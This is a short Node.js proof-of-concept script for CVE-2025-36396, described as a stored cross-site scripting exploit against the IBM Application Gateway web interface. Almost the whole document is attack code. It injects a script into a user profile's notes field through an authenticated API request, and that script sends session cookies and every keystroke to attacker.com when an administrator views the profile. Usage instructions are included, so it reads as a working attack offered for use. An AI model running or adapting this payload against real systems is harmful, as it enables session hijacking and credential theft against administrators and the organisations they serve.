CVE-2025-36396

// CVE-2025-36396 PoC - IBM Application Gateway Stored XSS // This PoC demonstrates how an authenticated user can inject JavaScript // into the IBM Application Gateway Web UI const axios = require('axios'); async function exploitXSS(targetUrl, sessionCookie) { const xssPayload = '<script>\n' + ' // Steal session cookies ' + ' fetch("https://attacker.com/log?c=" + encodeURIComponent(document.cookie)); ' + ' // Alternative: keylogger ' + ' document.addEventListener("keypress", function(e) { ' + ' fetch("https://attacker.com/keys?k=" + e.key); ' + ' }); ' + '</script>'; try { // Inject XSS payload into user profile/notes field const injectResponse = await axios.post( `${targetUrl}/api/user/profile`, { username: 'attacker_user', notes: xssPayload, email: '[email protected]' }, { headers: { 'Cookie': `JSESSIONID=${sessionCookie}`, 'Content-Type': 'application/json' } } ); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when admin views user profile'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage: node cve-2025-36396-poc.js <target-url> <session-cookie> exploitXSS(process.argv[2], process.argv[3]);

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